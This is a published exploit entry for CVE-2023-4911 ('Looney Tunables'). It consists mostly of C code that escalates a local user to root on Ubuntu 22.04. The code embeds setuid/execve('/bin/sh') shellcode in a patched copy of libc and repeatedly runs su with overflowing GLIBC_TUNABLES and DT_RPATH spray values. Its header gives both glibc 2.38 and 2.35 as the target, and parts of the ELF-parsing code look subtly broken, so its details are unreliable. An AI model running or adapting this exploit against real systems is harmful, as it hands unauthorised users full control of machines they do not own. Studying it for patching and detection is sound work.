glibc 2.38 - Buffer Overflow

# Exploit Title: glibc 2.38 - Buffer Overflow 
# Google Dork: N/A
# Date: 2025-10-08
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://www.gnu.org/software/libc/
# Software Link: https://ftp.gnu.org/gnu/libc/glibc-2.35.tar.gz
# Version: glibc 2.35 (specifically 2.35-0ubuntu3.3 on Ubuntu 22.04.3 LTS)
# Tested on: Ubuntu 22.04.3 LTS (glibc 2.35-0ubuntu3.3)
# CVE : CVE-2023-4911

# Description:
Looney Tunables - glibc GLIBC_TUNABLES Environment Variable Buffer Overflow 
# This is a local privilege escalation exploit for CVE-2023-4911, also known as
# "Looney Tunables", caused by a buffer overflow in the glibc dynamic loader's
# environment variable parsing logic. The vulnerability is triggered by crafting
# a maliciously long GLIBC_TUNABLES string which corrupts internal loader state,
# allowing control over DT_RPATH and arbitrary shared object loading.
#
# This PoC creates a patched version of libc.so.6 with embedded shellcode and
# abuses the loader to execute arbitrary code as root by invoking /usr/bin/su
# with a malicious environment.
#




#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <elf.h>

#define FILL_SIZE 0xd00
#define BOF_SIZE 0x600
#define MAX_ENVP  0x1000

// shellcode generado con pwntools
const unsigned char shellcode[] = {
    0x48, 0x31, 0xff,                         // xor    rdi,rdi
    0x6a, 0x69,                               // push   0x69 ; syscall setuid
    0x58,                                     // pop    rax
    0x0f, 0x05,                               // syscall
    0x48, 0x31, 0xff,                         // xor    rdi,rdi
    0x6a, 0x6a,                               // push   0x6a ; syscall setgid
    0x58,                                     // pop    rax
    0x0f, 0x05,                               // syscall
    0x48, 0x31, 0xd2,                         // xor    rdx, rdx
    0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 
    0x2f, 0x73, 0x68, 0x00,                   // mov rbx, "/bin/sh"
    0x53,                                     // push rbx
    0x48, 0x89, 0xe7,                         // mov rdi, rsp
    0x50,                                     // push rax
    0x57,                                     // push rdi
    0x48, 0x89, 0xe6,                         // mov rsi, rsp
    0xb0, 0x3b,                               // mov al, 0x3b
    0x0f, 0x05                                // syscall
};

int64_t time_us() {
    struct timespec tms;
    if (clock_gettime(CLOCK_REALTIME, &tms)) return -1;
    int64_t micros = tms.tv_sec * 1000000;
    micros += tms.tv_nsec / 1000;
    if (tms.tv_nsec % 1000 >= 500) ++micros;
    return micros;
}

void patch_libc() {
    FILE *f = fopen("/lib/x86_64-linux-gnu/libc.so.6", "rb");
    if (!f) { perror("fopen"); exit(1); }

    fseek(f, 0, SEEK_END);
    long size = ftell(f);
    rewind(f);

    unsigned char *data = malloc(size);
    if (fread(data, 1, size, f) != size) {
        perror("fread");
        exit(1);
    }
    fclose(f);

    Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;
    Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);
    Elf64_Sym *symtab = NULL;
    char *strtab = NULL;

    for (int i = 0; i < ehdr->e_shnum; ++i) {
        if (shdr[i].sh_type == SHT_SYMTAB) {
            symtab = (Elf64_Sym *)(data + shdr[i].sh_offset);
            strtab = (char *)(data + shdr[shdr[i].sh_link].sh_offset);
            break;
        }
    }

    if (!symtab || !strtab) {
        fprintf(stderr, "[-] Failed to find symtab\n");
        exit(1);
    }

    Elf64_Addr target_addr = 0;
    for (int i = 0; i < shdr->sh_size / sizeof(Elf64_Sym); ++i) {
        if (strcmp(&strtab[symtab[i].st_name], "__libc_start_main") == 0) {
            target_addr = symtab[i].st_value;
            break;
        }
    }

    if (!target_addr) {
        fprintf(stderr, "[-] Could not find __libc_start_main\n");
        exit(1);
    }

    // patch shellcode at the symbol location
    memcpy(data + target_addr, shellcode, sizeof(shellcode));

    f = fopen("./libc.so.6", "wb");
    if (!f) { perror("fopen (write)"); exit(1); }
    fwrite(data, 1, size, f);
    fclose(f);

    free(data);
    printf("[+] Patched libc.so.6 written.\n");
}

int main(void) {
    char filler[FILL_SIZE], kv[BOF_SIZE], filler2[BOF_SIZE + 0x20], dt_rpath[0x20000];
    char *argv[] = {"/usr/bin/su", "--help", NULL};
    char *envp[MAX_ENVP] = { NULL };

    // Create directory and patched libc if not present
    if (mkdir("\"", 0755) == 0) {
        patch_libc();
        int sfd = open("./libc.so.6", O_RDONLY);
        int dfd = open("\"/libc.so.6", O_CREAT | O_WRONLY, 0755);
        char buf[0x1000];
        int len;
        while ((len = read(sfd, buf, sizeof(buf))) > 0) {
            write(dfd, buf, len);
        }
        close(sfd); close(dfd);
    }

    memset(filler, 'F', sizeof(filler)); filler[sizeof(filler)-1] = '\0';
    strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast=");

    memset(kv, 'A', sizeof(kv)); kv[sizeof(kv)-1] = '\0';
    strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");

    memset(filler2, 'F', sizeof(filler2)); filler2[sizeof(filler2)-1] = '\0';
    strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");

    for (int i = 0; i < MAX_ENVP; i++) envp[i] = "";
    envp[0] = filler;
    envp[1] = kv;
    envp[0x65] = "";
    envp[0x65 + 0xb8] = "\x30\xf0\xff\xff\xfd\x7f";
    envp[0xf7f] = filler2;

    for (int i = 0; i < sizeof(dt_rpath); i += 8) {
        *(uintptr_t *)(dt_rpath + i) = -0x14ULL;
    }
    dt_rpath[sizeof(dt_rpath) - 1] = '\0';
    for (int i = 0; i < 0x2f; i++) {
        envp[0xf80 + i] = dt_rpath;
    }
    envp[0xffe] = "AAAA";

    setrlimit(RLIMIT_STACK, &(struct rlimit){RLIM_INFINITY, RLIM_INFINITY});

    int pid;
    for (int ct = 1;; ct++) {
        if (ct % 100 == 0) printf("try %d\n", ct);

        if ((pid = fork()) < 0) {
            perror("fork"); break;
        } else if (pid == 0) {
            execve(argv[0], argv, envp);
            perror("execve (child)"); exit(1);
        } else {
            int wstatus;
            int64_t st = time_us(), en;
            wait(&wstatus);
            en = time_us();

            if (!WIFSIGNALED(wstatus) && en - st > 1000000) {
                printf("[+] Exploit likely succeeded!\n");
                break;
            }
        }
    }

    return 0;
}